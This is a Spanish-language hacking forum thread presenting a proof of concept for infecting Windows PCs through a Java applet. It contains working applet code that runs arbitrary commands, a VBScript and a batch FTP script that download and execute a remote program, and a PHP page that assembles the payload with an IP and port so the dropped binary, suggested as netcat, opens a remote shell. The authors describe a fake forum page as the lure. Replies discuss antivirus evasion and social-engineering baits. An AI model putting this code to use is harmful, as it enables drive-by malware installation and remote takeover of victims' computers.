[POC] Infección Mediante Java Applet (y VBScript)

Iniciado por [Zero], 1 Enero 2009, 22:50 PM

0 Miembros y 1 Visitante están viendo este tema.

[Zero]

[POC] Infección Mediante Java Applet (y VBScript)

Fuente milw0rm.com
Autor: AnalyseR

POC y post realizado por Wofo y Hacker_Zero para www.eduhack.es

Bueno, muchos recordarán un post dónde se explicaba como hacer un fake de una web que nos pedía un componente flash y había un link hacia un *.exe.

Bueno pues mediante la ejecución de un Applet en Java y un script en VBScript o Batch, es posible descargar y ejecutar un programa remoto en un pc tan sólo con 1 click, para decir que se confía en el applet que se intenta ejecutar (el cual sale en todos los applets como pueden ser juegos y demás).

Empezamos con el Applet
Lo primero será compilar el siguiente código en Java:

Código (java) [Seleccionar]
import java.applet.*;
import java.awt.*; 
import java.io.*;
public class skata extends Applet
{
     public void init()
     {
          Process f;
          String first = getParameter("first");

           try
           {
                f = Runtime.getRuntime().exec(first);
           }

           catch(IOException e)
           {
                e.printStackTrace();
           }
      }
}


Éste código ejecuta un en el pc remoto lo que se le pase como parámetro. El Applet puede ser utilizado de la suguiente manera desde un documento html:

Código (html4strict) [Seleccionar]

<applet width='1' height='1' code='Nombre-clase-applet.class' archive='Nombre-Applet.jar'>

<param name='first' value='cmd.exe /c msg * Hola Mundo!'>

</applet>


Como véis nos dá la posibilidad de ejecutar comandos de consola en un pc remoto con S.O Windows. Pero iremos un paso más allá, y descargaremos un archivo al pc, como podemos hacer ésto? Pues podemos crear códigos usando Scripting, ya sea en Batch usando ftp o en VBScript.

Para crear el archivo VBS utilizamos Streams de salida en Batch:

cmd.exe /c echo Comando en VBS >>C:\Archivo.vbs

El siguiente código en VBScript descarga un Archivo binario  y lo ejecuta:

Código (vb) [Seleccionar]
Const adTypeBinary = 1 
Const adSaveCreateOverWrite = 2 
Dim BinaryStream 
Set BinaryStream = CreateObject("ADODB.Stream") 
BinaryStream.Type = adTypeBinary 
BinaryStream.Open 
BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) 
BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite 
Function BinaryGetURL(URL) 
Dim Http 
Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") 
Http.Open "GET", URL, False 
Http.Send 
BinaryGetURL = Http.ResponseBody 
End Function 
Set shell = CreateObject("WScript.Shell") 
shell.Run "cmd.exe /c C:\archivo.exe"


Su funcionamiento es muy sencillo:

Codigo.vbs http://www.pagina.com/archivo.exe C:\archivo.exe

Tambien se podría hacer sin necesidad de ningún archivo vbs ejecutando el ftp de la línea de comandos, aunque seguimos con el caso de vbs que es el ejemplo que puso el autor y es mas "general".

Aquí un ejemplo de como descargar el archivo usando ftp desde la shell:

@echo off
echo usuario@nombreftp.com>C:\datos.txt
echo contraseña>>C:\datos.txt
echo cd /path>>C:\datos.txt
echo pwd>>C:\datos.txt
echo binary>>C:\datos.txt
echo get archivo.exe>>C:\datos.txt
echo bye>>C:\datos.txt
echo quit>>C:\datos.txt
ftp -s:C:\datos.txt nombreftp.com
start archivo.exe


El archivo descargado (en nuestro ejemplo [al final del post]) lo único que nos da es una advertencia y la ip y el puerto que le pasamos por php.
Lo de la ip y el puerto funciona gracias a un sencillo código PHP:

Código (php) [Seleccionar]

<?php
if(isset($HTTP_GET_VARS["ip"])) {
$ip $HTTP_GET_VARS["ip"];
}
else 
$ip 127.0.0.1;

if(isset(
$HTTP_GET_VARS["puerto"])) {
$puerto $HTTP_GET_VARS["puerto"];
}
else 
$port 7173;

echo 
'
<applet width="1" height="1" code="nombreclaseapplet.class" archive="nombreapplet.jar">
<param name="first" value="cmd.exe /c echo Const adTypeBinary = 1 > C:\windows\apsou.vbs & echo Const adSaveCreateOverWrite = 2 >> C:\windows\apsou.vbs & echo Dim BinaryStream >> C:\windows\apsou.vbs & echo Set BinaryStream = CreateObject(\"ADODB.Stream\") >> C:\windows\apsou.vbs & echo BinaryStream.Type = adTypeBinary >> C:\windows\apsou.vbs & echo BinaryStream.Open >> C:\windows\apsou.vbs & echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> C:\windows\apsou.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> C:\windows\apsou.vbs & echo Function BinaryGetURL(URL) >> C:\windows\apsou.vbs & echo Dim Http >> C:\windows\apsou.vbs & echo Set Http = CreateObject(\"WinHttp.WinHttpRequest.5.1\") >> C:\windows\apsou.vbs & echo Http.Open \"GET\", URL, False >> C:\windows\apsou.vbs & echo Http.Send >> C:\windows\apsou.vbs & echo BinaryGetURL = Http.ResponseBody >> C:\windows\apsou.vbs & echo End Function >> C:\windows\apsou.vbs & echo Set shell = CreateObject(\"WScript.Shell\") >> C:\windows\apsou.vbs & echo shell.Run \"C:\windows\update.exe -d -e cmd.exe '
.$ip.' '.$puerto.'\" >> C:\windows\apsou.vbs">
</applet>'
;
?>



Con este código lo que hacemos es editar el código VBs para que ejecute el archivo descargado, pasando como parámetros la ip y el puerto introducidos en la URL.

Para que tengan una mejor idea de lo que digo les dejo el código en C++ del programa que se descarga en el ejemplo:

Código (cpp) [Seleccionar]

#include <iostream>



using namespace std;



int main(int argc, char* argv[]) {

cout << "Este ejecutable puede ser reemplazado un troyano, backdoor, virus, netcat, etc." << endl;

    cout << "Por lo tanto nunca hay que fiarse de applets sin firmas certificadas" << endl;

    cout << "La ip introducida mediante PHP es " << argv[1] << endl;

    cout << "El puerto introducido mediante PHP es " << argv[2] << endl;

}


Las variables de la url en php se pasan al VBS. Al ejecutar el VBS éste ejecuta nuestro archivo.exe con los parámetros.

Pudiendo hacer esto, las posibilidades que ofrece este método son infinitas... Se puede mandar cualquier programa y ejecutarlo sin que el usuario sospeche nada, imagina que mandamos un netcat con los parámetros para que nos pase una shell, o que mandamos un troyano o lo que sea. Nuevamente digo, las posibilidades son infinitas.

Les dejamos una prueba de concepto en el siguiente link:

http://wofo.x10hosting.com/hacking/JAVA/POCapplet/index.php?board=127.0.0.1&topic=7765

Otra poc usando ftp desde la línea de comandos, sin necesidad de vbs:

http://wofo.x10hosting.com/hacking/JAVA/POCapplet/indexftp.php?board=127.0.0.1&topic=7765

Como verán, es un fake muy convincente de un post del foro (fake hecho por HACKER_ZERO).
Lo que hace es, cuando ejecutan el applet, crea el codigo en .vbs y lo ejecuta, el cual se encarga de descargar el archivo.exe y ejecutarlo con los parámetros. Ambos archivos se descargan en C:\Windows como apsou.vbs y update.exe.

Testeado usando netcat en:

- Firefox  3.05, Windows XP SP3 con Firewall de Windows, NOD32 y su Firewall activo.

- IE Windows XP SP3 con Firewall de Windows, NOD32 y su Firewall activo.

- Firefox  3.05, Windows XP SP2 con Firewall de Windows, Avast y su Firewall activo. (Gracias Shell Killer  ;))




Cualquier duda o pregunta la recibimos con los brazos abiertos.

Salu2

"El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche

Wofo


Littlehorse

XP SP2  IE7/FF3.5 works. Obvio como siempre el KIS detecta el script y la creacion del archivo.



Ademas de tener que permitir la ejecucion desde el navegador obviamente, pero bueno un fakegame y va de perlas.
An expert is a man who has made all the mistakes which can be made, in a very narrow field.

[Zero]

Hm el kis como siempre, jeje, lo detectará por heurística, el script no daba alerta como resultado en novirusthanks. Supongo kis será el único, yo tengo nod32 y ni se percata.

Saludos

"El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche

Littlehorse

#4
No, mas que heuristica es las reglas de las aplicaciones, la proactiva y demas. Lo "malo" con el KIS es que te pone bloquear como recomendado a lo digitalmente desconocido y bueno eso lleva a que mas de uno le ponga bloquear sin importar su nivel de conocimientos. En anteriores versiones si que te ponia solo "autorizar" o bloquear" sin mas, y ahi si todo el mundo si veia un nombre medio windowsero le daba autorizar. Si te fijas, el script pasa al grupo de restriccion minima y no me pregunto si queria ponerlo ahi, si me alerto que se creaba y se lo ponia en "restriccion minima", pero no me dio chances de elegir y eso ya es bastante con el KIS. Ahora pruebo con Vista a ver que pasa, asumo que el UAC saltara.

PD: El nod nunca se percata de nada =D.


Felicitaciones por el POC  :)
An expert is a man who has made all the mistakes which can be made, in a very narrow field.

[Zero]

Si, sería interesante probarlo en vista ya que no tuve ocasión de hacerlo. Gracias, pero la idea es de AnalyseR y que lo posteó en milw0rm, nosotros hemos adaptado la info a nuestra manera y hemos añadido lo de los parámetros usando php. Haciendolo así, incluso se puede montar una web que acepte los parametros ip y puerto para netcat (index.php?ip=127.0.0.1&puerto=2000), pero no lo hemos hecho ya que no lo veíamos conveniente, la cantidad de lammers que lo usarían comprometiendo la seguridad de muchos pc's. Así el que lo haga tiene que compilar los códigos y entenderlos  ;).

Saludos

"El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche

Littlehorse

Ni hablar, 100% de acuerdo, este tipo de cosas siempre es mejor mostrar como funciona pero no dejarlas servidas en bandeja.

Termino de probar unas cosillas y comento que pasa en Vista.

Un abrazo!
An expert is a man who has made all the mistakes which can be made, in a very narrow field.

[Zero]

Hm pero ahora que lo pienso, si lo que detecta la heurística es la creación del vbs, mediante /c se pueden descargar los archivos de un ftp con acceso anónimo sin necesidad de crear ningún script, aunque no estoy seguro, me creo un ftp y les cuento, jaja.

Saludos

"El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche

Novlucker

#8
El KIS detecta el funcionamiento del vbs, no la creación de este  :rolleyes:
Detecta hasta la descarga de un archivo en texto plano, un *.exe ni hablar, así que la efectividad de este método sigue dependiendo de "ingenieria social"  :P

[HTML-VBS-Batch] Propagacion a traves de Internet ? Posible ?

Saludos
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

Littlehorse

Obviamente que detecta el funcionamiento, pero a mi me lo paso al grupo de restriccion minima sin consultarme =P.
Y lo de la ingenieria social esta claro, si ese Applet no es un fake porno game online o el proveedor no tiene un nombre ingenioso muy pocos caerian.
An expert is a man who has made all the mistakes which can be made, in a very narrow field.